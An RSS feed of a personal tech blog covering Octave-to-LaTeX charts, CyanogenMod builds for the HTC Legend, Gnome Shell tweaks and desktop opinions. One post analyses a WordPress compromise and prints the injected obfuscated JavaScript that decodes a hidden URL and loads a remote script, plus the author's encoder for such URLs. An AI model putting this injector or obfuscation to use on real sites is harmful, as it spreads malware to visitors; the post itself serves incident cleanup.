<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>derhofbauer.at / blog &#187; Open Source</title>
	<atom:link href="http://derhofbauer.at/blog/category/open-source/feed/" rel="self" type="application/rss+xml" />
	<link>http://derhofbauer.at/blog</link>
	<description>bits, bites and beer for free</description>
	<lastBuildDate>Thu, 05 Jan 2012 12:08:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Octave and LaTeX – Love at first Sight</title>
		<link>http://derhofbauer.at/blog/octave-and-latex-love-at-first-sight/</link>
		<comments>http://derhofbauer.at/blog/octave-and-latex-love-at-first-sight/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 12:07:14 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[LaTeX]]></category>
		<category><![CDATA[Octave]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=251</guid>
		<description><![CDATA[While working on a concept and draft for my bachelor thesis I decided I wanted charts. Bar charts, line charts, multiple line charts, you get the point. Now, if you tried to include images in a LaTeX document you probably know already that resolution matters. A lot. You want your printed document to look nice [...]]]></description>
			<content:encoded><![CDATA[<p>While working on a concept and draft for my bachelor thesis I decided I wanted charts. Bar charts, line charts, multiple line charts, you get the point.</p>
<p>Now, if you tried to include images in a LaTeX document you probably know already that resolution matters. A lot. You want your printed document to look nice and professional so you can be proud of it, but its charts are all blurry and pixelated. Even worse, you rendered your charts with a random tool of your choice and they look great but the fonts don&#8217;t match the target document&#8217;s, they don&#8217;t scale (because they are part of the image).</p>
<p>Well, at least those were my problems. Then I discovered output modes of Octave. In tex output mode it generates two files: an encapsulated postscript (.eps) and a LaTeX document. Just include (\import or whatever you want to use) the latter in your main document and marvel at the astonishing results!</p>
<p>Here&#8217;s my Octave function generating three graphs in one plot. You can call it like that: <span id="more-251"></span></p>
<p><code>threegraph([0 1 2; 2 3 4; 5 5 7; 8 1 0;], {'One', '', 'Three', ''}, 'testplot', 'Some random values', {'Graph one', 'Graph two', 'Graph three'});</code></p>
<p><br/></p>
<div class="code">
<pre>
function[] = threegraph(values, xticklabels, plotname, labely, legends)
	##
	UPPERBOUNDS = 0.4;
	##

	printf("Printing %s; %d values, %d labels\n", plotname, length(values), length(xticklabels));

	% Generates ticks ignoring empty labels.
	xtick = (1 : length(values));
	for i = 1 : length(xticklabels)
		if (strcmp(xticklabels(i), '') != 0)
			xticks(i) = 0;
		endif
	end

	% first graph
	handle = plot(values(:,2), '0');
	set(handle(1), 'linewidth', 2);

	hold on;

	% second graph
	handle = plot(values(:,3), '1');
	set(handle(1), 'linewidth', 2);

	% third graph
	handle = plot(values(:,4), '2');
	set(handle(1), 'linewidth', 2);

	handle = plot(values(1:end-1,:), '0o', 'markersize', 5);

	axs = axis();
	% correctly clip x-axis
	axs(2) = length(values) + 1;
	% set upper bounds
	mval = max(max(values));
	axs(4) = mval + mval * UPPERBOUNDS;
	axis(axs);

	legend(legends);
	ylabel(labely);

	set(gca, 'xtick', xtick);

	% set labels
	set(gca, 'xticklabel', xticklabels);

	% now make a nice tex document ready for \include
	print(strcat(plotname, '.tex'), '-dtex', '-S850,350');
	hold off;
endfunction
</pre>
</div>
<p><br/></p>
<p>The next one was a bit trickier, I wanted a bar graph and the labels to be rotated. Fortunately I found a <a href="https://mailman.cae.wisc.edu/pipermail/help-octave/2009-July/036066.html" title="vertical xtick labels">mailing list entry</a> by Eric Chassande-Mottin who provided his solution for rotating labels.</p>
<p><br/></p>
<div class="code">
<pre>
function[] = bargraph(values, xticklabels, plotname, labely)
	##
	UPPERBOUNDS = 0.02;
	##

	printf("Printing %s; %d values, %d labels\n", plotname, length(values), length(xticklabels));

	% Moving labels' position results in really weird plots, so we just append
	% trailing (LaTeX) spaces here as a workaround.
	for i = 1 : length(xticklabels)
		xticklabels(i) = cstrcat(char(xticklabels(i)), "~~");
	end

	handle = bar(values);
	ylabel(labely);

	axs = axis();
	% correctly clip x-axis
	axs(2) = length(values) + 1;
	% set upper bounds
	axs(4) = max(values) + max(values) * UPPERBOUNDS;
	axis(axs);

	% define which bars to label
	xtick = (1 : length(values));
	set(gca, 'xtick', xtick);

	% set labels for bars
	set(gca, 'xticklabel', xticklabels);

	% get position of current xtick labels
	xlabelpos = get(gca, 'xlabel');
	xlabelstring = get(xlabelpos, 'string');
	xlabelposition = get(xlabelpos, 'position');

	% construct position of new xtick labels
	yposition = xlabelposition(2);
	yposition = repmat(yposition, length(xtick), 1);

	% disable current xtick labels
	set(gca, 'xtick', []);

	% set up new xtick labels and rotate 45 degrees
	newticks = text(xtick, yposition, xticklabels);
	set(newticks, 'rotation', 45, 'horizontalalignment', 'right'); 

	% now make a nice tex document ready for \include
	print(strcat(plotname, '.tex'), '-dtex', '-S850,350');
endfunction
</pre>
</div>
<p><br/></p>
<p>Run the above function to get an idea of the possibilities that Octave offers. I&#8217;m really no expert in the Octave language (neither MATLAB by the way), but the results are so great I thought I had to share this.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/octave-and-latex-love-at-first-sight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Will the Legend run Android 4.0? Maybe.</title>
		<link>http://derhofbauer.at/blog/will-the-legend-run-android-4-0-maybe/</link>
		<comments>http://derhofbauer.at/blog/will-the-legend-run-android-4-0-maybe/#comments</comments>
		<pubDate>Wed, 16 Nov 2011 18:12:54 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=234</guid>
		<description><![CDATA[My Android building machine features an Intel Core i7 870 @ 2.93GHz with 8GB of RAM building to a 1TB hard disk (RAID 1 array) running Debian Unstable/Experimental. I tried to compile 4.0 Ice Cream Sandwich from CM sources (but still rather vanilla) on my machine today. Except for lib32ncurses5-dev that was missing here – [...]]]></description>
			<content:encoded><![CDATA[<p>My Android building machine features an</p>
<ul>
<li>Intel Core i7 870 @ 2.93GHz with</li>
<li>8GB of RAM building to a</li>
<li>1TB hard disk (RAID 1 array) running</li>
<li>Debian Unstable/Experimental.</li>
</ul>
<p>I tried to compile 4.0 Ice Cream Sandwich from CM sources (but still rather vanilla) on my machine today.</p>
<p>Except for lib32ncurses5-dev that was missing here – don&#8217;t ask me why, maybe &#8220;apt-get autoremove&#8221; is to blame – and a quite unnecessary Java compiler check (OpenJDK is perfectly capable of building Android) I did not run into any problems at all.</p>
<p>I can&#8217;t tell you what this &#8220;You&#8217;ll need at least 128GB of RAM and a quadruple i7 Extreme setup&#8221; was all about but I can definitely say that my machine never used the swapfileduring the whole process. It did not even hit 6GB RAM. Maybe because I&#8217;m not using ccache?</p>
<p>The resulting file&#8217;s size is about 100 MB zipped, extracted about 140MB (only files going to /system). The system partition on my Legend (stock partition layout) is 240MB, so ICS should fit without problems, even after CM treatment.</p>
<div class="code">
<pre>
$ time make -j8 otapackage
real   36m6.559s
user   196m32.677s
sys    10m19.084s
</pre>
</div>
<p>Also posted <a href="https://plus.google.com/108404267973707448172/posts/j2VEiiEip8e">the above on G+</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/will-the-legend-run-android-4-0-maybe/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Binding Action</title>
		<link>http://derhofbauer.at/blog/binding-action/</link>
		<comments>http://derhofbauer.at/blog/binding-action/#comments</comments>
		<pubDate>Wed, 19 Oct 2011 14:09:26 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Gnome]]></category>
		<category><![CDATA[gnome shell]]></category>
		<category><![CDATA[xbindkeys]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=229</guid>
		<description><![CDATA[So you&#8217;ve got one of those fancy mice with lots of extra (read &#8220;spare&#8221;) buttons and no configuration interface at all? Yes, that&#8217;s admittedly something the Linux desktop has been lacking for a long time. The drivers are capable of almost everything, but it seems no one ever bothered to add a sophisticated configuration utility [...]]]></description>
			<content:encoded><![CDATA[<p>So you&#8217;ve got one of those fancy mice with lots of extra (read &#8220;spare&#8221;) buttons and no configuration interface at all?</p>
<p>Yes, that&#8217;s admittedly something the Linux desktop has been lacking for a long time. The drivers are capable of almost everything, but it seems no one ever bothered to add a sophisticated configuration utility for macros or extra buttons &#8211; I mean beyond what e.g. Compiz offers. Gamers (if there are any at all) should even more want something like that.</p>
<p>On my Logitech mouse there&#8217;s a thumb button to which I&#8217;d really like to bind the overlay mode in Gnome Shell. If you know xbindkeys the solution&#8217;s quite obvious, just make it listen to that button in .xbindkeysrc:</p>
<div class="code">
<pre>
"/usr/local/bin/show-gnome-shell-overlay"
  m:0x0 + b:10 + release
</pre>
</div>
<p>My first guess was to scan D-Bus for anything related to &#8220;org.gnome.Shell&#8221; because nowadays almost everything seems to use D-Bus for IPC. Nevertheless, I have to admit I was quite surprised seeing the overlay after calling that D-Bus method though. ;)</p>
<p>Here&#8217;s that script referenced above:</p>
<div class="code">
<pre>
#/bin/sh

dbus-send --session --type=method_call \
    --dest=org.gnome.Shell /org/gnome/Shell \
    org.freedesktop.DBus.Properties.Set \
        string:org.gnome.Shell \
        string:OverviewActive \
        variant:boolean:true
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/binding-action/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>What the Hack?</title>
		<link>http://derhofbauer.at/blog/what-the-hack/</link>
		<comments>http://derhofbauer.at/blog/what-the-hack/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 17:49:22 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=207</guid>
		<description><![CDATA[I got an email today asking me for support. One of my WordPress setups had been reported to be hacked &#8211; resulting in a JavaScript redirect to a site distributing malware. Searching for the hack itself or the redirect I couldn&#8217;t find anything useful (except for an entry in the Google support forum). Every JavaScript [...]]]></description>
			<content:encoded><![CDATA[<p>I got an email today asking me for support. One of my WordPress setups had been reported to be hacked &#8211; resulting in a JavaScript redirect to a site distributing malware.</p>
<p>Searching for the hack itself or the redirect I couldn&#8217;t find anything useful (except for an <a href="http://www.google.com/support/forum/p/Chrome/thread?tid=1f69c6f6f09e332c&#038;hl=en">entry in the Google support forum</a>).</p>
<p>Every JavaScript file in wp-content/plugins and wp-content/themes was infected with a function added to the bottom of the script: &#8220;function vdch()&#8221;. Make sure your blogs are clean.</p>
<p><br/></p>
<p><strong>Update:</strong> As I just read <a href="http://www.prestashop.com/forums/topic/121318-cross-scripting-issue/">in this forum</a>, on <a href="http://stackoverflow.com/questions/6838427/need-to-remove-multiple-unique-lines-from-multiple-files">stackoverflow</a> and on <a href="http://wordpress.org/support/topic/wordpress-vulnerability">wordpress</a>, they seem to compromise php and html files too. I guess in my case they couldn&#8217;t by exploiting the WordPress vulnerability because its built-in editor only allows you to edit plugins and themes.</p>
<p>This is the script they&#8217;ve been using on the setup I had to clean up. It fails in Firefox but seems to run fine in Chrome.</p>
<div class="code">
<pre>
function vdch() {
    if(document.all.length &gt; 3) {
        var t = new Array(...);
        var dchid = "";
        for (j=0;j&lt;t.length;j++) {
            var c_rgb = t[j];
            for (i=1;i&lt;7;i++) {
                var c_clr = c_rgb.substr(i++,2);
                if (c_clr!="00") dchid += String.fromCharCode(
                        parseInt(c_clr,16)^i);
            }
        }
        var dch = document.createElement("script");
        dch.id = "dchid";
        dch.src = dchid;
        document.all[3].appendChild(dch);
    } else {
        setTimeout("vdch()",500);
    }
} setTimeout("vdch()",500);
</pre>
</div>
<p><br/></p>
<p><strong>Update 2:</strong> I was curious about how the string (=URL) encryption works in the script above. Here&#8217;s the function I came up with. Pretty nice idea (never had a look at JavaScript obfuscation before).</p>
<div class="code">
<pre>
var url = "http://your.url/";
var enc = new Array();
var rgb = "#";

for (i = 0, j = 2; i &lt; url.length; i++, j += 2) {
    rgb += (url.charCodeAt(i)^j).toString(16);
    if (j == 6) {
        j = 0;
        enc.push(rgb);
        rgb = "#";
    }
}
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/what-the-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yes, you can haz Gingerbread!</title>
		<link>http://derhofbauer.at/blog/yes-you-can-haz-gingerbread/</link>
		<comments>http://derhofbauer.at/blog/yes-you-can-haz-gingerbread/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 05:38:27 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[CyanogenMod 7]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=199</guid>
		<description><![CDATA[It&#8217;s done. Most users already knew about Gingerbread on their CM-supported devices so that&#8217;s not real news. A kick in the nuts of every manufacturer that keeps its sources closed, releases of Android customized heavily and mouths shut about future updates. Even though so much has to be reverse engineered the CyanogenMod team was ultimately [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s done. Most users already knew about Gingerbread on their <a href="http://www.cyanogenmod.com/devices">CM-supported devices</a> so that&#8217;s not real news.</p>
<p>A kick in the nuts of every manufacturer that keeps its sources closed, releases of Android customized heavily and mouths shut about future updates. Even though so much has to be reverse engineered the CyanogenMod team was ultimately faster in bringing Gingerbread to our loved devices.</p>
<p>In your face, <em>&laquo;insert manufacturer here&raquo;</em>!</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/yes-you-can-haz-gingerbread/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gnome 3 &#8211; Like and Hate</title>
		<link>http://derhofbauer.at/blog/gnome-3-like-and-hate/</link>
		<comments>http://derhofbauer.at/blog/gnome-3-like-and-hate/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 22:48:34 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Gnome]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[gnome 3]]></category>
		<category><![CDATA[gnome shell]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=194</guid>
		<description><![CDATA[It has been discussed controversially before its release and it certainly will be for the next few weeks. To be honest I wouldn&#8217;t expect anything else if a very important desktop environment decides to make the radical changes Gnome made for their 3.0 release. Nevertheless, after a few days of using and liking the Gnome [...]]]></description>
			<content:encoded><![CDATA[<p>It has been discussed controversially before its release and it certainly will be for the next few weeks. To be honest I wouldn&#8217;t expect anything else if a very important desktop environment decides to make the radical changes Gnome made for their 3.0 release.</p>
<p>Nevertheless, after a few days of using and liking the Gnome Shell and Gnome 3 there&#8217;s still a quite a lot I dislike:</p>
<p>Gnome Shell eats my Windows-key. Yeah, using Super_L is a good idea and finally gives that modifier some meaning. I actually used Super for a lot of stuff like</p>
<ul>
<li>Super+V: display Parcellite&#8217;s menu (Ctrl+C history). Quite obvious to use something close to Ctrl+V, right?</li>
<li>Super+Arrows: switch workspaces, because I never liked Ctrl+Alt+&#8230;</li>
<li>Super+Z (or Y on German keyboards): display Guake terminal
</ul>
<p>As I said: Gnome eats Super_L which means that every shortcut using that key doesn&#8217;t work any more. Bad bug, really bad bug. Well, I admit that&#8217;s a small problem, a bug report, and not really influencing productivity here &#8211; I just disabled Super_L for now.</p>
<p>The much more annoying &#8220;innovation&#8221; is the complete lack of applets. I never cluttered panels with lots of stuff – I use only one panel at the top &#8211; but there are three applets I can&#8217;t live without:<br />
CPU monitor, weather and, most important, my time tracking Hamster.</p>
<p>I frequently caught myself looking at the temperature to only read my username &#8211; seriously, who needs to read his own name in the top panel? Alzheimers? &#8211; or the Activities button where the hamster applet and CPU monitor used to be.<br />
They are gone (forever?) and I&#8217;ll miss them very much. I&#8217;m a sad panda.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/gnome-3-like-and-hate/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Can I haz Gingerbread, NAO?</title>
		<link>http://derhofbauer.at/blog/can-i-haz-gingerbread-nao/</link>
		<comments>http://derhofbauer.at/blog/can-i-haz-gingerbread-nao/#comments</comments>
		<pubDate>Mon, 27 Dec 2010 10:27:56 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[CyanogenMod]]></category>
		<category><![CDATA[Gingerbread]]></category>
		<category><![CDATA[HTC Legend]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=188</guid>
		<description><![CDATA[Excuse my infantile behaviour but this is simply nothing short of exciting and totally insane. About a week ago I wasn&#8217;t even able to compile the Gingerbread branch of Android and today I&#8217;m using it on my Legend with only minor glitches. OK, they are not really minor but they don&#8217;t affect me that much. [...]]]></description>
			<content:encoded><![CDATA[<p><a class="right mil-imagelink" href="http://derhofbauer.at/blog/wp-content/uploads/2010/12/gingerbread.png"><img src="http://derhofbauer.at/blog/wp-content/uploads/2010/12/gingerbread-200x300.png" alt="" title="Gingerbread on Legend" width="200" height="300" class="alignnone size-medium wp-image-189" /></a>Excuse my infantile behaviour but this is simply nothing short of exciting and totally insane.</p>
<p>About a week ago I wasn&#8217;t even able to compile the Gingerbread branch of Android and today I&#8217;m using it on my Legend with only minor glitches. OK, they are not really minor but they don&#8217;t affect me that much.</p>
<p>There are still a few problems that definitely scream &#8220;FIXMEFIXMEFIXME&#8221;, like the .32 kernel HTC released a few weeks ago (which is a complete mess in every single way), but you can rest assured the <em>gods</em> in #teamdouche (cyanogen, arcee, zinx, &#8230;) will fix these problems eventually.</p>
<p>Yeah, this is so exciting.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/can-i-haz-gingerbread-nao/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Release candidates, anyone?</title>
		<link>http://derhofbauer.at/blog/release-candidates-anyone/</link>
		<comments>http://derhofbauer.at/blog/release-candidates-anyone/#comments</comments>
		<pubDate>Sun, 24 Oct 2010 00:43:40 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[CyanogenMod]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=182</guid>
		<description><![CDATA[Yes, you might already know: the CyanogenMod project is nearing release 6.1. Looking at the changelog from 6.0 to 6.1 one has to say that teamdouche did an outstanding job. Officially supporting the Legend is only a very small part of it. I&#8217;m actually quite proud that everything is working perfectly by now, no bugs [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, you might already know: the CyanogenMod project is nearing release 6.1.</p>
<p>Looking at the changelog from 6.0 to 6.1 one has to say that teamdouche did an outstanding job. Officially supporting the Legend is only a very small part of it.</p>
<p>I&#8217;m actually quite proud that everything is working perfectly by now, no bugs or annoyances. CM nightly builds (from my own machine &#8211; that&#8217;s openness!) have been the main and only operating system on my Legend for three months now.</p>
<p>If I can get my hands on the Aria/Gratia 2.2 update and test the camera libraries then 6.1 will most likely ship with those (provided they work correctly) and I&#8217;ll try to port the kernel as well (once HTC releases it, which normally takes some time).</p>
<p>Exciting days to come&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/release-candidates-anyone/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Old News</title>
		<link>http://derhofbauer.at/blog/old-news/</link>
		<comments>http://derhofbauer.at/blog/old-news/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 11:33:26 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[CyanogenMod]]></category>
		<category><![CDATA[HTC Legend]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=177</guid>
		<description><![CDATA[For some of you this might be rather old news but just to make sure it&#8217;s recorded in the eternal books of Google: I&#8217;ve become the official maintainer for the HTC Legend in the CyanogenMod project. This basically means official support and official nightly builds. It also means that I have to get all my [...]]]></description>
			<content:encoded><![CDATA[<p>For some of you this might be rather old news but just to make sure it&#8217;s recorded in the eternal books of Google: I&#8217;ve become the official maintainer for the HTC Legend in the CyanogenMod project.</p>
<p>This basically means official support and official nightly builds. It also means that I have to get all my changes into CM or adapt them accordingly. This I&#8217;ve been doing for the last couple of days and only the correct support for non-rgb notification lights is missing (a rather big change).</p>
<p>It&#8217;s also nice that the new CMStats app seems to be enabled by some Legend users already. This will render my statistics in the android section of this site quite useless at some point.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/old-news/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dark is the Night</title>
		<link>http://derhofbauer.at/blog/dark-is-the-night/</link>
		<comments>http://derhofbauer.at/blog/dark-is-the-night/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 22:17:45 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[HTC Legend]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=173</guid>
		<description><![CDATA[Now that Azure 1.0 has arrived people would certainly complain a lot if I released quite experimental builds based off the latest development in CyanogenMod. Even I wrote &#8220;experimental&#8221; a thousand times. The consequence: a separate ROM. I&#8217;m pretty sure some will still not get the meaning of &#8220;nightly&#8221;, but I really can&#8217;t do anything [...]]]></description>
			<content:encoded><![CDATA[<p>Now that Azure 1.0 has arrived people would certainly complain a lot if I released quite experimental builds based off the latest development in CyanogenMod. Even I wrote &#8220;experimental&#8221; a thousand times.</p>
<p>The consequence: a separate ROM. I&#8217;m pretty sure some will still not get the meaning of &#8220;nightly&#8221;, but I really can&#8217;t do anything about that.</p>
<p>Dark Azure (<a href="http://forum.xda-developers.com/showthread.php?p=8046295">development thread here</a>) will be the snapshot and development build with new features going there first.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/dark-is-the-night/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>All Blue</title>
		<link>http://derhofbauer.at/blog/all-blue/</link>
		<comments>http://derhofbauer.at/blog/all-blue/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 01:16:53 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[CyanogenMod]]></category>
		<category><![CDATA[HTC Legend]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=168</guid>
		<description><![CDATA[Finally done! After some weeks of heavy development and testing I released Azure 1.0, codename for my port of the famous CyanogenMod 6.0.0 for the HTC Legend. Bringing you Froyo faster than HTC with nearly all the features you might expect (except for FM radio of course) feels really amazing.]]></description>
			<content:encoded><![CDATA[<p>Finally done!</p>
<p>After some weeks of heavy development and testing I released Azure 1.0, codename for my port of the famous CyanogenMod 6.0.0 for the HTC Legend.</p>
<p>Bringing you Froyo faster than HTC with nearly all the features you might expect (except for FM radio of course) feels really amazing.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/all-blue/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Baking Cakes</title>
		<link>http://derhofbauer.at/blog/baking-cakes/</link>
		<comments>http://derhofbauer.at/blog/baking-cakes/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 13:14:52 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[CakePHP]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=165</guid>
		<description><![CDATA[I&#8217;ve been doing web-development for quite a long time now. But honestly it was never nearly half as much fun as when I discovered CakePHP a year ago. It took me not even six hours to write the Android ROMs section, a task I would have spend at least a week on before I knew [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been doing web-development for quite a long time now. But honestly it was never nearly half as much fun as when I discovered <a href="http://cakephp.org/">CakePHP</a> a year ago.</p>
<p>It took me not even six hours to write the <a href="http://derhofbauer.at/android/">Android ROMs</a> section, a task I would have spend at least a week on before I knew CakePHP.</p>
<p>By the way, the fancy graph is done using the <a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> (another great tool for web-developers).</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/baking-cakes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curing a Legend</title>
		<link>http://derhofbauer.at/blog/curing-a-legend/</link>
		<comments>http://derhofbauer.at/blog/curing-a-legend/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 20:34:53 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[CyanogenMod]]></category>
		<category><![CDATA[HTC Legend]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=136</guid>
		<description><![CDATA[Google&#8217;s Android platform is mostly great, but it does have a serious problem: Manufacturers can&#8217;t keep their fingers off the interface. This produces systems that do not even look like Android (and, as with Sony&#8217;s, annoy everyone), sometimes even worse than that. Apart from awful Android skinning there is a new trend and light in [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://derhofbauer.at/blog/wp-content/uploads/2010/07/ib_home-e1278798130701.png" alt="" title="Indigo Bean - Home Screen" width="150" height="225" class="left size-full wp-image-161" />Google&#8217;s Android platform is mostly great, but it does have a serious problem:</p>
<p><em>Manufacturers can&#8217;t keep their fingers off the interface.</em></p>
<p>This produces systems that do not even look like Android (and, as with Sony&#8217;s, annoy everyone), <a href="http://www.wired.com/gadgetlab/2010/06/androids-acne-problem/">sometimes even worse</a> than that.</p>
<p>Apart from awful Android skinning there is a new trend and light in the darkness for us purists: <em>Android vanillaizing!</em></p>
<p>It&#8217;s software dermatologists devoting their precious nights and sleep to finding the cure to Android acne. In the case of the HTC Legend (comes with Sense) I was able to compile and tweak the Android Open Source project. Later I decided to start porting (and patching, where necessary) the famous <a href="http://www.cyanogenmod.com/">CyanogenMod</a>, which I&#8217;m using on my phone right now.</p>
<h3>Beans, anyone?</h3>
<p>Find first beta versions of my port called &#8220;Indigo Bean&#8221; and updates and bug reports on <a href="http://forum.xda-developers.com/showthread.php?t=713983">xda-developers</a>.</p>
<p>Since we&#8217;ve got support by <a href="http://www.koushikdutta.com/">koush&#8217;</a> outstanding ROM-Manager the recommended method to install it (after rooting your phone) is getting this app via the Android market and downloading “Indigo Bean”. Just a few clicks (taps!) and you are set to enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/curing-a-legend/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Android, Signing and Proprietary Apps</title>
		<link>http://derhofbauer.at/blog/android-signing-and-proprietary-apps/</link>
		<comments>http://derhofbauer.at/blog/android-signing-and-proprietary-apps/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 20:32:43 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=153</guid>
		<description><![CDATA[Android phones are delivered with proprietary apps that greatly improve the user&#8217;s experience. Some might even say an Android device without Google apps is only half the fun. For being accepted as valid packages, apps are signed. Moreover if an app wants special-1337-system privileges, it has to be signed with the platform key. This is [...]]]></description>
			<content:encoded><![CDATA[<p>Android phones are delivered with proprietary apps that greatly improve the user&#8217;s experience. Some might even say an Android device without Google apps is only half the fun.</p>
<p>For being accepted as valid packages, apps are signed. Moreover if an app wants special-1337-system privileges, it has to be signed with the platform key. This is to make sure apps behave correctly.</p>
<p>So if you come across a message that tells you the system just ignored a package (&#8220;Package xyz has no signatures that match those in shared user android.uid.system; ignoring!&#8221;), just resign it with your platform key. If you don&#8217;t have the platform key: Bad luck.</p>
<p>This is rather a note to myself (the sky just fell on my head):<br />
Google apps that always need resigning are GoogleCheckin, GoogleSubscribedFeedsProvider and NetworkLocation.<br />
Don&#8217;t ever dare to sign any other proprietary app, Google doesn&#8217;t like that and your Android system won&#8217;t allow you to use it.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/android-signing-and-proprietary-apps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Multiple Twitters</title>
		<link>http://derhofbauer.at/blog/multiple-twitters/</link>
		<comments>http://derhofbauer.at/blog/multiple-twitters/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 15:38:21 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=129</guid>
